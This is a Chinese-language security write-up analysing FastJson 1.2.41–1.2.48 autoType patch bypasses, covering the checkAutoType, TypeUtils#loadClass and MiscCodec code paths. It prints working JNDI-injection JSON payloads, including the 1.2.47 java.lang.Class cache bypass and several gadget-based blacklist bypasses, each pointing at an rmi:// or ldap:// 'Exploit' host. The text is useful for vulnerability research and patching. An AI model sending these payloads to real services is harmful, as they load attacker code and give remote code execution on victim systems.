FastJson 1.2.41 - 1.2.48分析
前言
前文「初识FastJson」曾分析了 FastJson 反序列化的起始版本 1.2.24, 本文将从修复补丁的 1.1.41版本开始分析如何bypass 补丁以及利用分析。
1.2.41
根据该版本的补丁分析跟进到 DefaultJSONParser#parseObject中, 在291行处能看到调用了 ParserConfig#checkAutoType方法传入了 @key的值。

进入 checkAutoType 之后因为 1.2.41 版本默认已经不开启 AutoType 功能了 且此处 expectClass为null所以不会进入if分支中。

代码走到836的分支中, 通过for循环如果 @type 的value是以黑名单的类名开头的话则会抛出异常, denyList有23个黑名单类, 其中包含了不少常见的gadget。

在循环完黑名单之后会调用 TypeUtils#loadClass去加载类, 而补丁的饶过也正在这个方法中:

没什么好说的, className 以 L 开头及 ;结尾则从截断第一个字符和最后一个字符, 也就是去除了 L 和 ;, 然后加载类, 最后调用 JdbcRowSetImpl#connect触发JNDI注入。

1.2.42
新的补丁将黑名单类转变通过比较 hash判断, 并在 checkAutoType中判断类名如果以 L 开头及 ;结尾则会去除:

经过 checkAutoType 后payload就会去除 一个L 和 ;, 变成了 Lcom.sun.rowset.JdbcRowSetImpl;了。而在 TypeUtils#loadClass中会判断 L 和 ;去除之后重新调用 loadClass。所以实际上这里使用多个 L 和 ;效果是一样的, 都能够绕过 checkAutoType时的判断而在 loadClass 时又能正常加载类。

1.2.45
黑名单类绕过, 需要有Mybatis。
{“@type”:”org.apache.ibatis.datasource.jndi.JndiDataSourceFactory”,”properties”:{“data_source”:”rmi://localhost:1099/Exploit”}}
1.2.47
使用 java.lang.Class 白名单类绕过验证, 在 MiscCodec#deserialze方法通过层层筛选最终会加载 val键的值作为类名使用 TypeUtils#loadClass 加载类。
经过 checkAutoType时由于 @type 的值是 java.lang.Class不存在黑名单中, 代码会走到833行中在白名单中寻找类, 白名单中存在该类会直接return。

回到 DefaultJSONParser#parseObject调用 ParserConfig#getDeserialzer

返回一个MiscCodec 对象。

回到 parseObject 继续调用 MiscCodec#deserialze, 通过 TypeUtils#loadClass加载类。

这里strVal的值必须是 val键, 否则会抛出异常。

在 loadClass时会调用该重载方法, 且 cache参数默认为true, 导致将恶意类 com.sun.rowset.JdbcRowSetImpl类写入 mappings。
1 | public static Class<?> loadClass(String className, ClassLoader classLoader) { |

完整Payload
{“a”: {“@type”: “java.lang.Class”, “val”: “com.sun.rowset.JdbcRowSetImpl”}, “b”: {“@type”: “com.sun.rowset.JdbcRowSetImpl”, “dataSourceName”: “ldap://x.x.x.x:1999/Exploit”, “autoCommit”: true}}
其他黑名单绕过
{“@type”:”org.apache.xbean.propertyeditor.JndiConverter”,”AsText”:”rmi://127.0.0.1:1099/Exploit”}”
{“@type”:”org.apache.shiro.jndi.JndiObjectFactory”,”resourceName”:”rmi://127.0.0.1:1099/Exploit”}
{“@type”:”br.com.anteros.dbcp.AnterosDBCPConfig”,”metricRegistry”:”rmi://127.0.0.1:1099/Exploit”}
{“@type”:”org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup”,”jndiNames”:”rmi://127.0.0.1:1099/Exploit”}
{“@type”:”com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig”,”properties”: {“@type”:”java.util.Properties”,”UserTransaction”:”rmi://127.0.0.1:1099/Exploit”}}